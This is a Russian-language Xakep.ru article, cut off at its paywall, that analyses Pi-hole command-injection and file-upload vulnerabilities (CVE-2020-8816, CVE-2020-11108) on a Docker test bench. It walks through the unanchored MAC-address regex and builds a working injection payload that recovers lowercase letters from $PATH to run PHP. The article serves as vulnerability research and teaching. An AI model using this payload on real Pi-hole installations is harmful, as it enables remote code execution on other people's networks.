Содержание статьи
Pi-hole — это DNS-сервер и небольшой веб-интерфейс для настройки блокировщика и просмотра статистики. Приставка Pi тут неспроста, поскольку разработчики предполагали, что ставить их софт будут на Raspberry Pi (а заодно название звучит как «дырка для пирога»). При этом ничто в целом не мешает ставить Pi-hole и на другое железо.
Коротко о сути проблемы
CVE-2020-8816
Эта уязвимость в Pi-hole существует из-за некорректной санитизации MAC-адреса при добавлении его в список. Специально сформированный MAC-адрес позволяет злоумышленнику внедрить свои команды в строку вызова. Баг затрагивает все версии Pi-hole до 4.3.2 включительно.
CVE-2020-11108
Обновление скрипта Gravity в Pi-hole до версии 4.4 позволяет загружать произвольные файлы в веб-директорию системы. Злоумышленник может загрузить PHP-файл, содержащий вредоносный код. Ошибка находится в функции gravity_DownloadBlocklistFromUrl
в файле gravity.sh. Также она может быть использована в сочетании с правилом sudo
для пользователя www-data, чтобы повысить привилегии до суперпользователя.
Нашли уязвимости Ник Фришетт (Nick Frichette), разработчик и ИБ-исследователь из США, и Франсуа Рено-Филиппон (François Renaud-Philippon) — ИБ-исследователь из Канады.
Стенд
Начнем со стенда. Тут все просто, разработчики Pi-Hole предоставляют официальный контейнер Docker с дистрибутивом. Для тестирования всех уязвимостей воспользуемся версией 4.3.2.
docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2
После непродолжительной загрузки на 80 порту можно найти веб-интерфейс администратора.
Пароль будет сгенерирован в процессе загрузки контейнера и выведен в консоль.
Теперь осталось скачать исходники админской панели с GitHub (ZIP) — и можно приступать к разбору уязвимости.
RCE через MAC-адрес
Для начала обратимся к исходным кодам приложения, раз они имеются. В первую очередь проверим наличие RCE. Для этого поищем в коде на PHP основные функции, которые допускают исполнение кода. Я буду использовать PHPStorm и следующую регулярку.
(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)\s*\(
Она не идеальна, но для быстрого поиска сгодится.
Сразу видим, что нашлась пачка интересных мест. Давай посмотрим на них поближе.
Начнем с файла savesettings.php
. Он отвечает за сохранение настроек в разделе Settings, для каждой вкладки есть отдельная ветка кода.
scripts/pi-hole/php/savesettings.php
216: // Process request
217: switch ($_POST["field"]) {
218: // Set DNS server
219: case "DNS":
...
383: case "API":
...
548: case "DHCP":
Нас интересует вкладка DHCP, там происходит подозрительный вызов функции exec
.
scripts/pi-hole/php/savesettings.php
548: case "DHCP":
549:
550: if(isset($_POST["addstatic"]))
551: {
552: $mac = $_POST["AddMAC"];
553: $ip = $_POST["AddIP"];
554: $hostname = $_POST["AddHostname"];
...
605: exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
В процессе выполнения происходит вызов утилиты pihole, где в качестве параметров командной строки передаются значения AddMAC
, AddIP
, AddHostname
из POST-запроса. Первая мысль: просто внедрить свою команду при помощи &&
или ||
. Однако переменные предварительно проходят некоторые проверки. Давай посмотрим на них. Начнем с IP.
scripts/pi-hole/php/savesettings.php
562: if(!validIP($ip) && strlen($ip) > 0)
563: {
564: $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
565: }
Помимо двух регулярок, выполняется проверка встроенной в PHP функцией filter_var с опцией FILTER_VALIDATE_IP.
scripts/pi-hole/php/savesettings.php
14: function validIP($address){
15: if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) {
16: // Test if address contains either `:` or `0` but not 1-9 or a-f
17: return false;
18: }
19: return !filter_var($address, FILTER_VALIDATE_IP) === false;
20: }
Здесь особо не разгуляешься, и пропихнуть левые символы не удастся.
Тогда переходим к hostname
.
scripts/pi-hole/php/savesettings.php
567: if(!validDomain($hostname) && strlen($hostname) > 0)
568: {
569: $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
570: }
Тут уже три регулярки. Первая запрещает использовать любые символы, кроме цифр, a-z
, точки, минуса и подчеркивания, а остальные проверяют длину строки.
scripts/pi-hole/php/savesettings.php
36: function validDomain($domain_name)
37: {
38: $validChars = preg_match("/^([_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([a-z\d])*)*$/i", $domain_name);
39: $lengthCheck = preg_match("/^.{1,253}$/", $domain_name);
40: $labelLengthCheck = preg_match("/^[^\.]{1,63}(\.[^\.]{1,63})*$/", $domain_name);
41: return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label
42: }
Здесь тоже нет возможности внедрить нужные нам символы.
Остается MAC-адрес.
scripts/pi-hole/php/savesettings.php
556: if(!validMAC($mac))
557: {
558: $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
559: }
scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr)
54: {
55: // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
56: return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
57: }
А вот здесь нас ждет удача. Регулярка говорит нам, что строка должна содержать 6 пар символов английского алфавита и цифр и они могут быть разделены двоеточием или нет. Но вот незадача, отсутствуют символы начала и конца строки. Это значит, что достаточно, чтобы было как минимум одно вхождение такой регулярки, а помимо нее можно указывать все что хочется.
Однако здесь нас поджидает небольшая проблемка.
scripts/pi-hole/php/savesettings.php
560: $mac = strtoupper($mac);
Все буквы в строке с MAC-адресом переводятся в верхний регистр. Так как команды в Linux регистрозависимы, не получится просто внедрить нужную, придется искать обход. К счастью, шелл в Linux очень гибкая штука и сделать байпасс не составит труда. Если бы функция exec
использовала интерпретатор bash
для выполнения команд, то решение было бы совсем простым: начиная с четвертой версии в Bash появилась конструкция вида ${VAR,,}
, которая меняет регистр букв на строчные в значении переменной. Но exec
использует /bin/sh
.
Но не стоит отчаиваться, ведь у нас есть переменные окружения. Всеми любимая $PATH
как раз состоит из букв верхнего регистра и содержит большое количество символов нижнего. Добавим новую запись с MAC-адресом 000000000000$PATH
, чтобы увидеть содержимое этой переменной окружения.
По умолчанию в контейнере она имеет следующий вид:
/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Чтобы не собирать всю необходимую команду из этих букв, воспользуемся php
, так как местные функции регистронезависимы. Вот мой пейлоад:
php -r 'exec(strtolower("echo 1 > /tmp/owned"));'
Чтобы исключить любые проблемы с символами в длинных командах, можно воспользоваться функцией hex2bin
вместо strtolower
, но для моего пейлоада сгодится и эта.
Получается, что нам нужны символы p
, h
и r
. Воспользуемся символами замены и удаления подстроки. Символ p
находится на третьей позиции. Конструкция A=${PATH#??}
удалит первые два символа, и в переменной A
останется такая подстрока:
pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Теперь из нее нужно удалить все, кроме первого символа, для этого используем P=${A%${A#?}}
.
Теперь h
. Он находится на восьмой позиции, поэтому удаляем первые семь символов A=${PATH#???????}
. Оставляем только первый символ при помощи уже известной нам конструкции H=${A%${A#?}}
.
И наконец — r
. Удаляем все символы начиная с первого слеша до первого двоеточия плюс три символа: A=${PATH#/*:???}
. В итоге останется такая подстрока:
r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Снова оставляем только первый символ R=${A%${A#?}}
.
WWW
Подробнее про манипуляцию со строками можно прочитать в мануале Bash, там все подробно расписано с примерами использования.
Собираем все наши конструкции вместе и получаем:
A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};
Теперь в переменных $P
, $H
и $R
находятся буквы p
, h
и r
в нижнем регистре.
Можно формировать основной пейлоад.
000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));';
Отправляем его в качестве MAC-адреса и можем видеть файл owned
в директории /tmp
.
Точно такая же проблема присутствует в функции удаления существующего MAC-адреса.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»